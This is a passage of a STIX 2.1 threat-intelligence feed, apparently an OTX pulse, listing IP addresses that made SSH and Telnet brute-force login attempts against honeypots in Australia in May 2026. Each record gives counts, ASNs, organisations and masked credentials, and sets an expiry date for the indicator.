      "modified": "2026-05-13T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.89.44.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T20:15:05.000Z",
      "valid_until": "2026-06-14T20:15:03.000Z"
    },
    {
      "created": "2026-05-13T20:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 267. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4, a******c. Passwords observed (masked): 3***********4, 3**********4, ***, 2**0, 3****4.",
      "id": "indicator--59ddbd45-be19-47a8-bb0e-362a147ac151",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.244.189.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T20:15:05.000Z",
      "valid_until": "2026-06-14T20:15:03.000Z"
    },
    {
      "created": "2026-05-13T20:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 141. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53667. Organisation(s): FranTech Solutions. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !*******6, 1*****e, 1******h, 3***********4, 3**********4.",
      "id": "indicator--e4b025fe-6b36-43fc-bfa6-0249af300354",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.141.43.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T20:15:05.000Z",
      "valid_until": "2026-06-14T20:15:03.000Z"
    },
    {
      "created": "2026-05-13T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--7de488fc-3a6d-468e-bc83-62baf63febb6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '211.106.54.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T20:15:05.000Z",
      "valid_until": "2026-06-14T20:15:03.000Z"
    },
    {
      "created": "2026-05-13T20:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--e2f18568-2f50-4a54-a3fd-2471fb092f30",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '44.220.188.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T20:15:05.000Z",
      "valid_until": "2026-06-14T20:15:03.000Z"
    },
    {
      "created": "2026-05-13T20:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 17622. Organisation(s): China Unicom Guangzhou network.",
      "id": "indicator--e17a274b-a3f5-4574-ab17-6181421ce04d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '61.28.113.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T20:15:05.000Z",
      "valid_until": "2026-06-14T20:15:03.000Z"
    },
    {
      "created": "2026-05-13T20:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: NL. ASN(s): 50049. Organisation(s): RedSwitches.",
      "id": "indicator--b9b9e031-7f0f-4ede-8554-2696707a84f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.50.145.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T20:15:05.000Z",
      "valid_until": "2026-06-14T20:15:03.000Z"
    },
    {
      "created": "2026-05-13T20:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MD. ASN(s): 200019. Organisation(s): Alexhost Srl.",
      "id": "indicator--c3778bf5-12a2-4a7d-bc95-bc99bfa30052",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.208.184.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T20:15:05.000Z",
      "valid_until": "2026-06-14T20:15:03.000Z"
    },
    {
      "created": "2026-05-13T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--a43451a4-a6cd-47aa-8e4e-9d62b912070f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.1.107.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T21:15:10.000Z",
      "valid_until": "2026-06-14T21:15:08.000Z"
    },
    {
      "created": "2026-05-13T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 197. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t, d****y, j*****s, 3**********4, a***n. Passwords observed (masked): ***, 1****6, 1*********0, 2******m, 3***********4.",
      "id": "indicator--57b9650b-0d2e-4b87-b2ce-25eb0eaa1691",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '150.136.214.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T21:15:10.000Z",
      "valid_until": "2026-06-14T21:15:08.000Z"
    },
    {
      "created": "2026-05-13T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 14593. Organisation(s): Space Exploration Technologies Corporation.",
      "id": "indicator--fcc5b302-33aa-46ab-b6bd-ad2193b9bcc2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '150.228.105.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T21:15:10.000Z",
      "valid_until": "2026-06-14T21:15:08.000Z"
    },
    {
      "created": "2026-05-13T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263924. Organisation(s): Sonik Servicos de Comunicacao LTDA.",
      "id": "indicator--0f6a7f43-8544-481a-86ca-a2e76e55e9a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.232.174.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T21:15:10.000Z",
      "valid_until": "2026-06-14T21:15:08.000Z"
    },
    {
      "created": "2026-05-13T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 221. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 18747. Organisation(s): IFX Corporation. Usernames observed (masked): r**t, 3**********4, a******c. Passwords observed (masked): 3***********4, 3**********4, 1***********3, 1*******5, d*****s.",
      "id": "indicator--36097b80-da01-4808-8baa-3c25194f91eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.60.242.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T21:15:10.000Z",
      "valid_until": "2026-06-14T21:15:08.000Z"
    },
    {
      "created": "2026-05-13T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd.",
      "id": "indicator--43612b03-c3da-43a3-8c0a-303c4c5f8f98",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.60.246.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T21:15:10.000Z",
      "valid_until": "2026-06-14T21:15:08.000Z"
    },
    {
      "created": "2026-05-13T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--5cfc6d61-f68e-4def-9392-370195126932",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.100.21.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T21:15:10.000Z",
      "valid_until": "2026-06-14T21:15:08.000Z"
    },
    {
      "created": "2026-05-13T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268111. Organisation(s): S-NET TELECOM ME.",
      "id": "indicator--9eee7e64-7439-4bae-b9a9-889975c31ed8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.169.152.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T21:15:10.000Z",
      "valid_until": "2026-06-14T21:15:08.000Z"
    },
    {
      "created": "2026-05-13T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 266. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AM. ASN(s): 216300. Organisation(s): Closed Joint Stock Company AbkhazMedia. Usernames observed (masked): r**t, 3**********4, a******c. Passwords observed (masked): 3***********4, 3**********4, 1****d, K********., M*******2.",
      "id": "indicator--3c5e8c94-62ca-4bbb-ab25-e376d2c96cdb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.105.130.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T21:15:10.000Z",
      "valid_until": "2026-06-14T21:15:08.000Z"
    },
    {
      "created": "2026-05-13T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 12322. Organisation(s): Free SAS.",
      "id": "indicator--1fcc775b-f410-4173-b6bd-a71466b6bfdb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '82.226.21.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T21:15:10.000Z",
      "valid_until": "2026-06-14T21:15:08.000Z"
    },
    {
      "created": "2026-05-13T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb.",
      "id": "indicator--c49c6c80-78c8-4a7e-b355-90e688ac0106",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.80.192.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T21:15:10.000Z",
      "valid_until": "2026-06-14T21:15:08.000Z"
    },
    {
      "created": "2026-05-13T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 12479. Organisation(s): Orange Espagne SA.",
      "id": "indicator--d2b64205-035c-4086-b313-43d5b5e21ba9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.16.86.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T21:15:10.000Z",
      "valid_until": "2026-06-14T21:15:08.000Z"
    },
    {
      "created": "2026-05-13T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 266. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 200740. Organisation(s): First Server Limited. Usernames observed (masked): r**t, 3**********4, a******c. Passwords observed (masked): 3***********4, 3**********4, 1****d, K********., M*******2.",
      "id": "indicator--c96a2193-71b7-43b2-8858-fe7f218ace58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.81.95.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T21:15:10.000Z",
      "valid_until": "2026-06-14T21:15:08.000Z"
    },
    {
      "created": "2026-05-13T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 135310. Organisation(s): Inspire Broadband. Usernames observed (masked): r**t. Passwords observed (masked): R*******1.",
      "id": "indicator--1e337390-05c5-4907-8227-89716d6214cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.213.238.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T22:15:10.000Z",
      "valid_until": "2026-06-14T22:15:08.000Z"
    },
    {
      "created": "2026-05-13T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--969150e1-86d5-4024-9b42-5009bf45aea6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.79.130.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T22:15:10.000Z",
      "valid_until": "2026-06-14T22:15:08.000Z"
    },
    {
      "created": "2026-05-13T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): A******4.",
      "id": "indicator--38aace4c-9f42-4b9c-8945-7adaf9a92c68",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.199.188.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T22:15:10.000Z",
      "valid_until": "2026-06-14T22:15:08.000Z"
    },
    {
      "created": "2026-05-13T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 134760. Organisation(s): Shijiazhuang IDC network, CHINANET Hebei province.",
      "id": "indicator--1ef6efd2-c6c4-4f71-8da2-eda9126ca02f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.236.108.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T22:15:10.000Z",
      "valid_until": "2026-06-14T22:15:08.000Z"
    },
    {
      "created": "2026-05-13T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 196. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 3816. Organisation(s): COLOMBIA TELECOMUNICACIONES S.A. ESP BIC. Usernames observed (masked): r**t, 3**********4, a******c. Passwords observed (masked): !******z, 1****0, 1******r, 2****3, 3***********4.",
      "id": "indicator--cdd6438e-be69-4304-940e-70d4a9ff9fec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.32.204.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T22:15:10.000Z",
      "valid_until": "2026-06-14T22:15:08.000Z"
    },
    {
      "created": "2026-05-13T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 28530. Organisation(s): Mexico Red de Telecomunicaciones, S. de R.L. de C.V..",
      "id": "indicator--f5ea1af9-25c2-47fd-a548-efc7d7d042ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.187.226.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T22:15:10.000Z",
      "valid_until": "2026-06-14T22:15:08.000Z"
    },
    {
      "created": "2026-05-13T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 265605. Organisation(s): VELOCOM SA DE CV.",
      "id": "indicator--fe7b5ceb-af61-4268-80b6-e361fd5b7831",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.58.70.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T22:15:10.000Z",
      "valid_until": "2026-06-14T22:15:08.000Z"
    },
    {
      "created": "2026-05-13T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 265605. Organisation(s): VELOCOM SA DE CV.",
      "id": "indicator--2d9493d6-421e-4175-8b83-1322b36781db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.58.70.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T22:15:10.000Z",
      "valid_until": "2026-06-14T22:15:08.000Z"
    },
    {
      "created": "2026-05-13T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 265605. Organisation(s): VELOCOM SA DE CV.",
      "id": "indicator--6ddbbc5a-d295-4f2e-a267-59b69999153c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.58.70.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T22:15:10.000Z",
      "valid_until": "2026-06-14T22:15:08.000Z"
    },
    {
      "created": "2026-05-13T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t. Passwords observed (masked): A***********9.",
      "id": "indicator--3f475178-fb6e-4e71-bb49-a96266d0489f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.153.21.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T22:15:10.000Z",
      "valid_until": "2026-06-14T22:15:08.000Z"
    },
    {
      "created": "2026-05-13T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 27847. Organisation(s): TECNOLOGIA DIGITAL, S.A. DGTEC. Usernames observed (masked): r**t. Passwords observed (masked): ***.",
      "id": "indicator--73ce5606-3f8c-4efc-981f-7c93808584b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.172.153.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T22:15:10.000Z",
      "valid_until": "2026-06-14T22:15:08.000Z"
    },
    {
      "created": "2026-05-13T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 60404. Organisation(s): The Infrastructure Group B.V..",
      "id": "indicator--43c5b7b8-399f-4d78-a4d7-deaeceac47a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.255.121.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T22:15:10.000Z",
      "valid_until": "2026-06-14T22:15:08.000Z"
    },
    {
      "created": "2026-05-13T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PL. ASN(s): 5617. Organisation(s): Orange Polska Spolka Akcyjna.",
      "id": "indicator--f818499e-3b43-4f14-81a9-fd3b188cfbcf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '79.189.95.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T22:15:10.000Z",
      "valid_until": "2026-06-14T22:15:08.000Z"
    },
    {
      "created": "2026-05-13T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 43766. Organisation(s): Mobile Telecommunication Company Saudi Arabia Joint-Stock company.",
      "id": "indicator--90074767-427a-42f9-8222-87f83458ae42",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '82.197.48.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T22:15:10.000Z",
      "valid_until": "2026-06-14T22:15:08.000Z"
    },
    {
      "created": "2026-05-13T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: FI. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--b407db13-8778-4df6-9130-cfbe5bcb16cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.167.124.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
